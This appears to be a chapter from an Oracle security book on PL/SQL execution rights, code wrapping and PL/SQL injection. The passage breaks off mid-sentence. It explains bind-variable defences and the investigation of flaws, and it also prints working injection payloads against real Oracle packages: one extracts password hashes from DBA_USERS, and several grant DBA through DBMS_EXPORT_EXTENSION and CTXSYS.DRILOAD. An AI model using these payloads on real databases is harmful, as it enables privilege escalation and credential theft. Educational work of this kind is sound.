Oracle and PL SQL

PL/SQL is a programming language for Oracle database servers. The PL in the acronym stands for Procedural Language, a fully featured programming language with built-in SQL capabilities and database objects such as packages, procedures, functions, triggers, and types - all written in PL/SQL. Because so many Oracle security issues relate in some way to PL/SQL, it is crucial for the Oracle security expert to understand PL/SQL. One of the key threats to the security of Oracle database servers are bugs in the default PL/SQL packages, triggers, and types that are shipped with the database. There have been numerous such bugs in the past and even today several are still found. Most of these bugs fall into the SQL injection class of vulnerabilities, which can allow a low-privilege user to gain full control over the database with DBA privileges. This chapter covers SQL injection, and to understand the risks it poses, we first need to examine the security model of PL/SQL code when it executes

What Is PL SQL?

PL/SQL is a programming language built directly into Oracle that extends the SQL. For those comfortable with Microsoft SQL Server, PL/SQL's analogue would be Transact-SQL (T-SQL). PL/SQL is based on the ADA language, originally developed by the U.S. Department of Defense. ADA was named after Ada Lovelace, assistant to Charles Babbage and daughter of Lord Byron, the English poet. PL/SQL first appeared with Oracle 6 in 1991, but with limited capabilities. You could not, for example, create stored procedures, and it was only useful for batching queries. This changed with Oracle 7, when users could begin to create their own procedures and functions and group these together in packages. PL/SQL is also used to implement triggers and types.

When developers need to do something that they can't do in PL/SQL, they can call out from their procedure or function to C functions, either in the form of external libraries or internal functions within the Oracle process itself (see Figure 5-1). Furthermore, PL/SQL can call out to Java methods using Aurora, the Java Virtual Machine that's built into Oracle.

Figure 5-1: Calling out from PL/SQL to C functions or Java methods

PL SQL Execution Privileges

There are two modes of execution privileges - definer rights and invoker rights. By default, PL/SQL procedures and functions execute with the privileges of definer - in other words, the person who defined the package. Strictly speaking, however, this isn't exactly true. Definer rights should more accurately be called "owner" rights because it is possible for a user with the CREATE ANY PROCEDURE privilege to define a procedure in another user's schema. This would not execute with the definer's privileges but with the privileges of the user who owns the schema where the procedure is defined. For the most part, however, the definer usually is the same as the owner.

For example, assume the user FOO creates a procedure called BAR and grants the EXECUTE permission on it to PUBLIC. Anyone executing the BAR procedure will effectively gain the same privileges as FOO for the duration of the procedure's execution. Note, however, that only privileges directly assigned to FOO will be present, and not those assigned through role membership. (Thus if FOO is a DBA, but only because FOO has been assigned membership of the DBA role, when the BAR procedure executes, it will not do so with DBA privileges.) This is an important distinction. The advantage of the definer rights model is that a user can allow others to manipulate data in a controlled fashion as dictated by the procedure's logic without having to provide privileges to the underlying tables. As an example of this, let's consider the following SQL:

CONNECT FOO/PASS

CREATE TABLE TESTPRIV (X VARCHAR2(30),Y NUMBER);
/
INSERT INTO TESTPRIV (X,Y) VALUES ('Some data...',1);
INSERT INTO TESTPRIV (X,Y) VALUES ('More data...',2);

CREATE OR REPLACE PROCEDURE GET_DATA(P_Y NUMBER)
IS
BUFFER VARCHAR2(30);
BEGIN
SELECT X INTO BUFFER FROM TESTPRIV WHERE Y = P_Y;
DBMS_OUTPUT.PUT_LINE(BUFFER);
END;
/
GRANT EXECUTE ON GET_DATA TO PUBLIC;
/

The preceding code creates the table TESTPRIV and inserts some data. Next we create a procedure that allows users to select data given a condition. PUBLIC is assigned the execute privilege on the procedure. Next we connect as SCOTT. As you'll see, you can't select directly from the table but you can by using the following procedure:

SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> SELECT * FROM FOO.TESTPRIV;
SELECT * FROM FOO.TESTPRIV
 *

ERROR at line 1:
ORA-00942: table or view does not exist

SQL> EXEC FOO.GET_DATA(1);
Some data...

PL/SQL procedure successfully completed.

SQL> EXEC FOO.GET_DATA(2);
More data...

PL/SQL procedure successfully completed.

SQL>

This shows one of the key strengths of the definer rights model: Users don't need to be assigned privileges to the underlying objects with which a procedure interacts. Conversely, the key weakness in the definer rights model is that if there are any security problems with the procedure, then an attacker will be able to gain the same privileges as the definer. In the case of procedures owned by high-privilege users such as SYS, this proves catastrophic, as attackers can gain complete control over the database server.

The second form of execution privilege model for PL/SQL is invoker rights. With this model, the procedure will execute with the privileges of the invoker, not the owner. Thus, not only does a user need the execute permission on the procedure in question, but he also needs the relevant privileges on the underlying tables, too. This doesn't apply to other procedures owned by the same user, however:

SQL> CONNECT SCOTT/TIGER@ORCL
Connected.
SQL> CREATE OR REPLACE PROCEDURE X_INSIDE AUTHID CURRENT_USER IS
 2 BEGIN
 3 DBMS_OUTPUT.PUT_LINE('INSIDE X...');
 4 END;
 5 /

Procedure created.

SQL>
SQL> CREATE OR REPLACE PROCEDURE X_HOLDER AUTHID CURRENT_USER IS
 2 BEGIN
 3 X_INSIDE;
 4 END;
 5 /

Procedure created.

SQL> GRANT EXECUTE ON X_HOLDER TO PUBLIC;

Grant succeeded.

SQL> CONNECT TEST/TEST@ORCL
Connected.
SQL> SET SERVEROUTPUT ON
SQL> EXEC SCOTT.X_HOLDER;
INSIDE X...

PL/SQL procedure successfully completed.

SQL>

Note that you can still effectively execute X_INSIDE even though you don't have direct permission as the TEST user. The advantage to the invoker rights model is that it usually isn't possible for an attacker to exploit problems in invoker rights procedures to elevate their status. To tell Oracle to use invoker rights privileges instead of definer rights, the AUTHID CURRENT_USER keyword is specified at creation time:

CREATE OR REPLACE PROCEDURE GET_DATA_2(P_Y NUMBER) AUTHID CURRENT_USER
IS
BUFFER VARCHAR2(30);
BEGIN
SELECT X INTO BUFFER FROM TESTPRIV WHERE Y = P_Y;
DBMS_OUTPUT.PUT_LINE(BUFFER);
END;
/

Details about whether a procedure is marked as DEFINER or INVOKER rights are available from the DBA_PROCEDURES view:

SQL> SELECT AUTHID FROM DBA_PROCEDURES WHERE OBJECT_NAME = 'GET_DATA_2';

AUTHID
------------
CURRENT_USER

This view selects from the SYS.PROCEDUREINFO$ table, and the eleventh bit of the PROPERTIES column stores the information.

The important point to remember here is that any security problems that exist in the code of packages marked as using the definer rights model enable an attacker to leverage the flaw to gain the privileges of the owner of the code. As you'll see over the next few chapters, this can prove disastrous.

Wrapped PL SQL

Oracle provides PL/SQL developers with a facility to encrypt their code once written. When PL/SQL code is encrypted, it is described as being "wrapped." Code is wrapped by using the wrap utility, which takes the name of the file that contains the code to be wrapped and the output file:

wrap iname=cleartext.sql oname=encrypted.plb

Because it's encrypted, the details of the code are hidden; and Oracle provides no unwrap facility. However, you can create your own unwrap utility. It's long been held by Oracle developers that it's not possible to decrypt the wrapped code, but the security community has known otherwise for a long time. Gareth James, one my colleagues at NGSSoftware, wrote an unwrapper in early 2004. Before then, I'd been simply extracting the source from a debugger session. By all accounts, a Russian developer was selling an unwrapper in 2003. At the Blackhat Security Briefings in the summer of 2006, Pete Finnigan presented a paper on unwrapping code on Oracle 8 and 9. The wrapping methods are completely different between 9i and 10g, as you shall see.

Wrapping and Unwrapping on 10g

In 10g the clear-text PL/SQL is encrypted in the following way. The text is first compressed using the Lempel-Ziv algorithm, and a SHA1 hash is generated from the compressed data. This hash is then copied to a buffer and the compressed data concatenated to the end. Then the value of each byte in the buffer is used as an index into a character substitution table. This table is probably considered an Oracle trade secret, so I will refrain from listing it here - suffice it to say that it is, nonetheless, easy to find in the binary. The resulting cipher text is then base64 encoded. Unwrapping the encrypted code is the reverse. First, it's base64 decoded. Then, each byte is resubstituted with a second corresponding substitution table. Last, the text is decompressed, leaving the clear text of the PL/SQL.

Wrapping and Unwrapping on 9i and Earlier

Oracle 9i and earlier use an entirely different method from 10g for wrapping PL/SQL. You saw earlier that PL/SQL has its roots in ADA. When the code is wrapped in 9i, it is converted to DIANA, which stands for Descriptive Intermediate Attributed Notation for ADA. One of the design objectives of DIANA was that it would retain the structure of the original source and be entirely reversible. Essentially, keywords are converted to a corresponding number (see the script called pidian.sql in the $ORACLE_HOME/rdbms/admin directory), and non-keywords are stored in a symbol table at the top of the encoded text. It is a highly convoluted process, and rather than go into it here I will direct you to Pete Finnigan's paper "How to Unwrap PL/SQL," available at www.insight.co.uk/files/presentations/BlackHat%20conference.pdf.

Wrapping the following simple procedure produces the output shown here (comments are in bold):

CREATE PROCEDURE FOOBAR IS
BEGIN
DBMS_OUTPUT.PUT_LINE('Hello, world!');
END;
/


CREATE PROCEDURE FOOBAR wrapped
0
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
3
7
8106000 Version of the wrapper
1
4
0
4 Number of Symbols in Symbol Table
2 :e:
1FOOBAR: Symbols start with a 1 and end with a colon
1DBMS_OUTPUT:
1PUT_LINE:
1Hello, world!:
0

0
0
14 Size of block (Block 1)
2 Size of byte in block
0 1d 9a b4 55 6a :2 a0 6b Block uses RLE (Run Length Encoding)
6e a5 57 b7 a4 b1 11 68
4f 17 b5
14 Start of Block 2
2
0 3 4 15 16 1a 1e 22
26 29 2e 2f 34 36 3a 3c
48 4c 4e 57
..
..

The remainder of the preceding wrapped text has been snipped - it's a waster of paper.

Working without the Source

Even without the code it's possible to get a good understanding of what the code might be doing. First, you can use the DESCribe feature in SQL*Plus to look at what functions and procedures are available. You can also see what other packages are called by using the ALL_DEPENDENCIES view:

SQL> select REFERENCED_OWNER,REFERENCED_NAME from
 2 all_dependencies where name = 'DBMS_RLS';

REFERENCED_OWNER REFERENCED_NAME
------------------------------ --------------------------------
SYS STANDARD
SYS STANDARD
SYS DBMS_RLS
SYS DBMS_RLS_LIB

It's also worthwhile grepping the clear-text SQL install scripts for the package of interest to see how it's being used.

PL SQL Injection

PL/SQL injection is a method for attacking procedures, functions, triggers, and types. The idea behind SQL injection is quite simple. User-supplied input to an application is embedded directly into a dynamic SQL query, which is then executed; because the input that is embedded is user controlled, it is possible for that user to manipulate the query in such a way that extra SQL is executed. This additional SQL that is executed can be used to gain unauthorized access to data, allowing an attacker to gain complete control of the server. Let's look at some code snippets for some simple examples:

..
..
STMT:= 'SELECT TITLES FROM BOOKS WHERE AUTHOR = ''' || USERINPUT ||
'''';
EXECUTE IMMEDIATE STMT;
..
..

This code is vulnerable to SQL injection. Assuming the user input in this case is DICKENS, then the actual query that is eventually executed by the application is as follows:

SELECT TITLES FROM BOOKS WHERE AUTHOR = 'DICKENS'

Note that strings in SQL are enclosed in single quotes; thus, if we changed the user input to O'BRIEN, the following SQL will be executed:

SELECT TITLES FROM BOOKS WHERE AUTHOR = 'O'BRIEN'

As you can see, the single quotes are not balanced, which will cause an error: ORA-01756: quoted string not properly terminated. In essence, by inserting a single quote into their input, attackers can "escape" from the original query and then tack on their own SQL. Consider, for example, what would happen if the user input supplied were DICKENS'' UNION SELECT PASSWORD FROM USERS_TABLE WHERE ''A'' = ''A. In this case, the application would end up executing the following:

SELECT TITLES FROM BOOKS WHERE AUTHOR = 'DICKENS' UNION SELECT PASSWORD
FROM USERS_TABLE WHERE 'A' = 'A'

This query would effectively return every book by Dickens; moreover, it would return every password in the USERS_TABLE. It's a bit clunky having to inject a final where clause to balance out the single quotes. Rather than do this, it is possible to finish with a double minus, --. In SQL, a double minus is a comment marker specifying that everything after the double minus is ignored.

As it happens, in this example, the designer of the application didn't need to use a dynamic query and could have used a prepared statement, as all the columns and table information were known beforehand. If they had used a prepared statement, the code snippet would appear as follows:

..
..
STMT:= 'SELECT TITLES FROM BOOKS WHERE AUTHOR = :1'
EXECUTE IMMEDIATE STMT USING USERINPUT;
..
..

Here the ":1" is a bind variable. The user input is "bound" to the bind variable after the query has been compiled. Because it happens after, the input can contain single quotes and it won't matter a jot. Once the query has been compiled, it's too late to do anything with it as far as SQL injection is concerned.

Let's look at another example:

..
..
STMT:='SELECT COUNT(*) FROM ' || USERINPUT || ' WHERE COLX < 10';
EXECUTE IMMEDIATE STMT;
..
..

In the preceding code snippet, the table name is not known beforehand so it's not possible to use a prepared statement; the only way forward is with a dynamic query. Assume here the user input was MYTABLE WHERE COLX > 10--; the application ends up executing the following:

SELECT COUNT(*) FROM MYTABLE WHERE COLX > 10 -- WHERE COLX < 10

As you can see, the whole nature of the query has been modified by the attacker injecting their own where clause; remember that everything after the double minus is ignored. In this situation, perverting the logic of the application might be sufficient to achieve the ends of the attacker, but in general, most attacks aim to get DBA privileges for the attacker or gain unauthorized access to data.

If user input is not being sanitized before being embedded in a dynamic SQL statement, it is possible for an attacker to exploit this. Statements that allow an attacker to execute arbitrary SQL include SELECT, INSERT, UPDATE, DELETE, and some CREATEs, such as CREATE TABLE and CREATE VIEW. Other statements such as ALTER SESSION can be injected to manipulate the environment but it's not possible to execute SQL.

Injection into SELECT Statements to Get More Data

Consider the following PL/SQL procedure owned by SYS. Note that this isn't a real procedure - it's for demonstration purposes only:

CREATE OR REPLACE PROCEDURE
LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
 DBMS_OUTPUT.ENABLE(1000000);
 OPEN CV FOR 'SELECT OBJECT_NAME FROM
ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND
OBJECT_TYPE=''LIBRARY''';
 LOOP
 FETCH CV INTO buffer;
 DBMS_OUTPUT.PUT_LINE(BUFFER);
 EXIT WHEN CV%NOTFOUND;
 END LOOP;
 CLOSE CV;
END;
/

This procedure takes as a parameter the name of the user and lists all libraries owned by that user:

SQL> EXEC SYS.LIST_LIBRARIES('MDSYS');
ORDMD_IDX_LIBS
ORDMD_REL_LIBS
ORDMD_WD_LIBS
ORDMD_MBR_LIBS
ORDMD_UDT_LIBS
ORDMD_MIG_LIBS
ORDMD_CS_LIBS
ORDMD_RTREE_LIBS
ORDMD_UTL_LIBS
ORDMD_PRIDX_LIBS
ORDMD_LRS_LIBS
ORDMD_AG_LIBS
ORDMD_TP_LIBS
ORDMD_GEORX_LIBS
ORDMD_GEOR_LIBS
ORDMD_SAM_LIBS
ORDMD_SAM_LIBS

PL/SQL procedure successfully completed.

SQL>

The code is vulnerable to SQL injection because the P_OWNER parameter is inserted directly into the SELECT statement without being sanitized. As such, it's possible for an attacker to inject arbitrary SQL. In this case you can inject a UNION SELECT statement to list all the password hashes from the DBA_USERS view:

SQL> EXEC SYS.LIST_LIBRARIES('NOUSER'' UNION SELECT PASSWORD FROM
DBA_USERS--');
23F797F38974856E
29802572EB547DBF
2A09F346B7886867
2BE6F80744E08FEB
3FB8EF9DB538647C
4A3BA55E08595C81
5AC67B98FA46369E
..
..

Note that after NOUSER are two single quotes - this breaks us out of the predefined string and then we tack our UNION SELECT statement onto the end. The procedure ends up executing the following:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = 'NOUSER' UNION SELECT
PASSWORD FROM DBA_USERS-- AND OBJECT_TYPE='LIBRARY';

Due to the double minus we added, we essentially cut off everything after it, leaving the following:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = 'NOUSER' UNION SELECT
PASSWORD FROM DBA_USERS

As such, we end up gaining access to the password hashes. If we want to get the usernames out as well, we could inject like so:

SQL> EXEC SYS.LIST_LIBRARIES('NOUSER'' UNION SELECT
CONCAT(USERNAME||'':'',PASSWORD) FROM DBA_USERS--');
BI:FA1D2B85B70213F3
CTXSYS:71E687F036AD56E5
DBSNMP:23F797F38974856E
DIP:CE4A36B8E06CA59C
DMSYS:BFBA5A553FD9E28A
EXFSYS:66F4EF5650C20355
IX:2BE6F80744E08FEB
MDDATA:DF02A496267DEE66
..
..

All we've done here is use the concat() function to concatenate the username and the password, separated by a colon.

Injecting Functions

If attackers have the capability to create functions on the server, then they are not limited to what they can do. They can create a PL/SQL function with whatever nefarious code they want to execute and then inject this function into the statement. The attacker needs to set their function to AUTHID CURRENT_USER so that when the higher privileged procedure accesses their function it does so with its current privilege set. If the attacker's function used definer rights, then it would execute with their privileges and thus achieve nothing. Finally, they'd also need to specify the AUTONOMOUS_TRANSACTION pragma. This pragma effectively informs the PL/SQL compiler that a subprogram can perform its own transactions irrespective of those performed by the calling procedure. Consider the following code:

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;

This code, when executed with the requisite privileges, will GRANT the DBA role to SCOTT. If injected into the LIST_LIBRARIES procedure, those permissions can be found:

SQL> EXEC SYS.LIST_LIBRARIES('ABC''||SCOTT.GET_DBA()--');

PL/SQL procedure successfully completed.

Now, SCOTT should be able to set the DBA role:

SQL> set role dba

Role set.

What has happened here is that the LIST_LIBRARIES procedure has executed the following:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = 'ABC'||SCOTT.GET_DBA()

Note 

The double pipe concatenate operator causes the LIST_LIBRARIES procedure to look for libraries owned by ABCGotcha! - and of course there are none.

Injecting functions into SQL is a very powerful technique but requires the capability to create functions, which means the attacker must have the CREATE PROCEDURE privilege. For cases in which the attacker doesn't have this privilege, they would be restricted to executing SELECT statements or DML operations if they're injecting into a DML statement - unless, that is, they can find a procedure that executes an anonymous block of PL/SQL into which they can inject.

Injecting into Anonymous PL SQL Blocks

Occasionally, some procedures will execute a block of anonymous PL/SQL. A block of anonymous PL/SQL is a free-floating chunk of code wrapped between a BEGIN and an END. For example, typing the following into SQL*Plus would be an anonymous block of PL/SQL:

SQL> DECLARE
 2 BUFFER VARCHAR2(20);
 3 BEGIN
 4 BUFFER:='HOWDY, WORLD!';
 5 DBMS_OUTPUT.PUT_LINE(BUFFER);
 6 END;
 7 /

If attackers can find a procedure that executes such a block, then they can inject into it and they're not limited in what they can do. This means that even those who can't create functions and the like because they don't have the privileges to do so would be able to.

The Holy Grail of PLSQL Injection

There is one PL/SQL package that executes a block of anonymous PL/SQL and is vulnerable from Oracle 8 all the way through to 10g Release 2. This is why it's the Holy Grail - regardless of the Oracle version, at the time of writing it can be exploited to gain full control of the database server. It is owned by SYS and is executable by PUBLIC; and because the attack vector is a function itself, it can be used when attacking a database server through a web server such as Oracle Application Server. We'll examine this later in Chapter 9 but for the time being we'll look at the package itself - namely, DBMS_EXPORT_EXTENSION.

I first reported flaws in this package to Oracle on April 13, 2004, and they attempted to fix it in Alert 68. Assuming it was fixed, I didn't look at it again until February 2005, when I found that their fix was not sufficient and the package remained exploitable. I reported this to them and they released a new fix in October 2005. In the same month, after a cursory examination, I reported that it was still not fixed. This dance continued for several months, and each time the package remained vulnerable. Every time they attempted to fix the flaws they'd either miss other bugs or not perform sufficient safety checks for their fix. July 2006 saw another over-haul of the package and, yes, you guessed it, it still remains exploitable, but with a caveat. We examine this in the next section "Investigating Flaws."

After all that, what exactly is wrong with the DBMS_EXPORT_EXTENSION package? Initially it was the GET_DOMAIN_INDEX_METADATA function. This function executed a block of PL/SQL that we could inject into:

DECLARE
NB PLS_INTEGER;
BUF VARCHAR2(2000);
BEGIN
BUF:=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO','E
XFSYS"." EXPRESSIONINDEXMETHODS".ODCIIndexGetMetadata(oindexinfo,:p3,:p4,
ENV);
EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO
PUBLIC'';END; --','VER',NB,1);
END;
/

What's happening here is that we stick our nefarious code into an exception block so when an exception occurs our code executes - in this case, granting DBA privileges to PUBLIC. Oracle attempted to fix this in Alert 68 but failed. Here's the function prototype:

FUNCTION GET_DOMAIN_INDEX_METADATA (
INDEX_NAME IN VARCHAR2,
INDEX_SCHEMA IN VARCHAR2,
TYPE_NAME IN VARCHAR2,
TYPE_SCHEMA IN VARCHAR2,
VERSION IN VARCHAR2,
NEWBLOCK OUT PLS_INTEGER,
GMFLAGS IN NUMBER DEFAULT -1);

Here's how Oracle attempted to fix it. They performed a check to determine whether TYPE_SCHEMA is valid, as the sample code I sent them in my initial report injected into the TYPE_SCHEMA. Oracle added the following check to ensure that the schema is valid:

SELECT COUNT(*) INTO RETVAL FROM SYS.USER$ WHERE NAME = TYPE_SCHEMA;

 IF RETVAL = 0 THEN
 STMTSTRING := '';

 RETURN STMTSTRING;
END IF;

In other words, if the user (the TYPE_SCHEMA) doesn't exist, then the function returns. However, two lines after this we have the following:

 STMTSTRING :=
 'DECLARE ' ||
 'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||
 ''''||INDEX_SCHEMA||''','''||INDEX_NAME||''',' ||
 'ODCIColInfoList(), NULL, 0, 0); ' ||
 'BEGIN ' ||
 ':p1 := "' || TYPE_SCHEMA || '"."' || TYPE_NAME
 || '".ODCIIndexGetMetadata(oindexinfo,:p2,:p3); ' ||
 'END;';

DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
 DBMS_SQL.BIND_VARIABLE(CRS,':p1',STMTSTRING,32002);
 DBMS_SQL.BIND_VARIABLE(CRS,':p2',VERSION,20);
 DBMS_SQL.BIND_VARIABLE(CRS,':p3',NEWBLOCK);

 DUMMY := DBMS_SQL.EXECUTE(CRS);

You can see from the preceding code that no validation is performed on the INDEX_SCHEMA or the INDEX_NAME or the TYPE_NAME parameters, so we can still inject into these. The GET_DOMAIN_INDEX_TABLES and GET_V2_DOMAIN_INDEX_TABLES functions were vulnerable in exactly the same manner:

select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','TEXTINDE
XMETHODS".ODCIIndexUtilCleanup(:p1)


; execute immediate ''declare pragma autonomous_transaction; begin
execute immediate ''''grant dba to public''''


; end;''; END;--','CTXSYS',1,'1',0) from dual;

As already indicated, it wasn't until July 2006 that Oracle eventually fixed these, but even then not entirely.

Investigating Flaws

Sometimes a flaw doesn't immediately look like it's exploitable and a bit of investigating needs to be done. We'll use the July 2006 Critical Patch Update version of DBMS_EXPORT_EXTENSION as our test case. Remember that previous versions of this package executed anonymous blocks of PL/SQL with the privileges of the SYS user and that an attacker could inject into this block. Oracle fixed this in the July 2006 patch by ensuring that the anonymous block of code executes with the privileges of the invoker. They did this by passing the block to DBMS_SYS_SQL.PARSE_AS_USER before execution. Unfortunately, they missed a bit. The TABACT function is internal to the package (you need an unwrapper to see it) but it is called by the PRE_TABLE function. The TABACT function SELECTs from the SYS.EXPACT$ table the name of a schema and package. It then implants this package into a block of anonymous PL/SQL and parses it using DBMS_SQL.PARSE. As such, when it comes to executing the block, it executes with the privileges of the SYS user. Oracle missed this one. That said, what is the risk? To exploit this you would need to be able to insert your own package name into the EXPACT$ table. Let's check who can do what to it:

SQL> SELECT GRANTEE,PRIVILEGE FROM DBA_TAB_PRIVS WHERE TABLE_NAME =
'EXPACT$';


no rows selected

Looks like no one can other than SYS. Maybe, however, there's a package that we can execute that inserts into the table. We can check this by querying the DBA_DEPENDENCIES table:

SQL> SELECT CONCAT(OWNER||'.',NAME),TYPE FROM DBA_DEPENDENCIES WHERE
REFERENCED_NAME = 'EXPACT$';

CONCAT(OWNER||'.',NAME) TYPE
------------------------------------------------------------- ----------
-------
SYS.EXU8PST VIEW
SYS.DBMS_EXPORT_EXTENSION PACKAGE
BODY
SYS.DBMS_PRVTAQIS PACKAGE
BODY
SYS.DBMS_AQ_IMPORT_INTERNAL PACKAGE
BODY
SYS.DBMS_AQADM_SYS PACKAGE
BODY
SYS.DBMS_TRANSFORM_EXIMP PACKAGE
BODY
SYS.KU$_EXPACT_VIEW VIEW
SYS.DBMS_RULE_COMPATIBLE_90 PACKAGE
BODY

8 rows selected.

First, let's check whether we can insert into the EXU8PST view:

SQL> SELECT GRANTEE,PRIVILEGE FROM DBA_TAB_PRIVS WHERE TABLE_NAME =
'EXU8PST';

GRANTEE PRIVILEGE
------------------------------ ----------------------------------------
SELECT_CATALOG_ROLE SELECT

That's no good. Let's try the KU$_EXPACT_VIEW instead:

SQL> SELECT GRANTEE,PRIVILEGE FROM DBA_TAB_PRIVS WHERE TABLE_NAME =
'KU$_EXPACT_VIEW';

GRANTEE PRIVILEGE
------------------------------ ----------------------------------------
SELECT_CATALOG_ROLE SELECT

Nope, no good either. What about the packages? After reviewing the source, you can see that both DBMS_RULE_COMPATIBLE_90 and DBMS_AQ_IMPORT_INTERNAL insert into the EXPACT$ table. Let's check the permissions on these:

SQL> SELECT GRANTEE,PRIVILEGE FROM DBA_TAB_PRIVS WHERE TABLE_NAME =
'DBMS_RULE_COMPATIBLE_90';

GRANTEE PRIVILEGE
------------------------------ ----------------------------------------
EXECUTE_CATALOG_ROLE EXECUTE

SQL> SELECT GRANTEE,PRIVILEGE FROM DBA_TAB_PRIVS WHERE TABLE_NAME =
'DBMS_AQ_IMPORT_INTERNAL';

GRANTEE PRIVILEGE
------------------------------ ----------------------------------------
SYSTEM EXECUTE
EXECUTE_CATALOG_ROLE EXECUTE
EXP_FULL_DATABASE EXECUTE
IMP_FULL_DATABASE EXECUTE
AQ_ADMINISTRATOR_ROLE EXECUTE

This indicates that anyone with the EXECUTE_CATALOG_ROLE, AQ_ADMINISTRATOR_ROLE, or IMP_FULL_DATABASE EXP_FULL_DATABASE roles can execute these procedures, insert into the EXPACT$ table, and thereby gain SYS privileges. Can anyone else do this too? You can check by querying the DBA_DEPENDENCIES table again:

SQL> SELECT CONCAT(OWNER||'.',NAME),TYPE FROM DBA_DEPENDENCIES WHERE
REFERENCED_NAME = 'DBMS_AQ_IMPORT_INTERNAL';

CONCAT(OWNER||'.',NAME) TYPE
--------------------------------------- --------------
SYS.DBMS_AQ_SYS_EXP_INTERNAL PACKAGE BODY
SYS.DBMS_PRVTAQIS PACKAGE BODY
SYS.DBMS_PRVTAQIM PACKAGE BODY
SYS.DBMS_AQ_IMPORT_INTERNAL PACKAGE BODY
SYS.DBMS_AQADM_SYS PACKAGE BODY

Checking whether anyone else can execute these, we determine that no one can except SYS, so we go back to the code and check which functions or procedures insert into the EXPACT$ table. With DBMS_AQ_IMPORT_INTERNAL it is the CREATE_EXPACT_ENTRY procedure, and with DBMS_RULE_COMPATIBLE_90 it is the ADD_RULESET_TO_EXPACT and ADD_RULE_TO_EXPACT procedures. Knowing this we can grep through the code looking for calls to these procedures - just in case there are more. For example, any dependency embedded in an EXECUTE IMMEDIATE will not be listed in the DBA_DEPENDENCIES view. But again there's nothing. After every avenue of investigation has been exhausted, we're left with what we found earlier - that members of the EXECUTE_CATALOG_ROLE,AQ_ ADMINISTRATOR_ROLE, and IMP_FULL_DATABASE EXP_FULL_DATABASE roles can still exploit the July 2006 DBMS_EXPORT_EXTENSION to gain SYS privileges.

Direct SQL Execution Flaws

Some PL/SQL packages contain procedures that effectively allow a user to execute SQL directly. These packages just take the user input and pass it, untouched, to an EXECUTE IMMEDIATE or a DBMS_SQL parse and execute. One of the more well-known examples of this is the VALIDATE_STMT procedure of the DRILOAD package owned by CTXSYS:

EXEC CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO ME');

Reported to Oracle by a number of different security researchers, this flaw was supposedly "fixed" in Alert 68, although the new patch and some subsequent patches failed to correct it properly.

PL SQL Race Conditions

PL/SQL objects can be vulnerable to time-of-check, time-of-use (TOCTOU) race conditions. In this scenario, a check is made for which a decision is taken and in the intervening time between the check and the decision being made, the condition being checked for has changed. As an example, let's say there's a PL/SQL procedure called SLUGGISH that first checks to determine whether another procedure called RACER is AUTHID DEFINER before deciding whether to execute it. If RACER is DEFINER, then the SLUGGISH procedure will execute it; otherwise, if RACER is AUTHID CURRENT_USER, SLUGGISH won't execute it because this might introduce a privilege escalation vulnerability. If during the time when the check is made and RACER is being executed, the AUTHID value is switched from DEFINER to CURRENT_USER, then SLUGGISH ends up executing a CURRENT_USER rights procedure when it was programmed not to. Let's look at a contrived example before looking at a real-world vulnerability that reflects this exact problem:

SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE OR REPLACE PROCEDURE RACER AUTHID DEFINER IS
 2 BEGIN
 3 DBMS_OUTPUT.PUT_LINE('RUNNING RACER!!!');
 4 END;
 5 /

Procedure created.

SQL> CREATE OR REPLACE PROCEDURE SLUGGISH IS
 2 HASH VARCHAR2(200):='AAAAAAAAAA';
 3 C NUMBER;
 4 AU VARCHAR2(30);
 5 BEGIN
 6 SELECT AUTHID INTO AU FROM SYS.DBA_PROCEDURES WHERE OBJECT_NAME =
'RACER';
 7 FOR C IN 1..500000 LOOP
 8 HASH:=SYS.DBMS_OBFUSCATION_TOOLKIT.MD5(INPUT_STRING=>HASH);
 9 END LOOP;
 10 IF AU = 'DEFINER' THEN
 11 EXECUTE IMMEDIATE 'BEGIN RACER; END;';
 12 END IF;
 13 END;
 14 /

Procedure created.

SQL> SET SERVEROUTPUT ON
SQL> EXEC SLUGGISH;
RUNNING RACER!!!

PL/SQL procedure successfully completed.

Let's examine what's happening in the preceding code. First, we create the RACER procedure as AUTHID DEFINER. We then create the SLUGGISH procedure, which performs the following steps: SLUGGISH checks whether the value for AUTHID for the RACER procedure is DEFINER. We waste a bit of time for demonstration purposes by generating half a million MD5 hashes, and if AUTHID is DEFINER, then we execute the RACER procedure. When we execute SLUGGISH, it takes about 10 seconds to generate the hashes and then runs the RACER procedure, which outputs "Running Racer!!!"

If we run SLUGGISH a second time, however, while it is busy generating all the MD5 hashes, we can reenter the code for the RACER function in another SQL*Plus window, switching it to CURRENT_USER:

SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE OR REPLACE PROCEDURE RACER AUTHID CURRENT_USER IS
 2 BEGIN
 3 DBMS_OUTPUT.PUT_LINE('RUNNING BAD RACER!!!');
 4 END;
 5 /

Procedure created.

This way when we look at the output this time we see

SQL> EXEC SLUGGISH;
RUNNING BAD RACER!!!

PL/SQL procedure successfully completed.

Thus, due to the race condition, we've managed to fool SLUGGISH into running a CURRENT_USER invoker rights procedure - which it shouldn't do.

In 10g Release 2 there is a trigger called RLMGR_TRUNCATE_MAINT owned by EXFSYS. It executes when a user issues a TRUNCATE statement on a table. Part of the trigger executes the following:

begin
 select rset_pack into rcpcknm from rlm$ruleset where
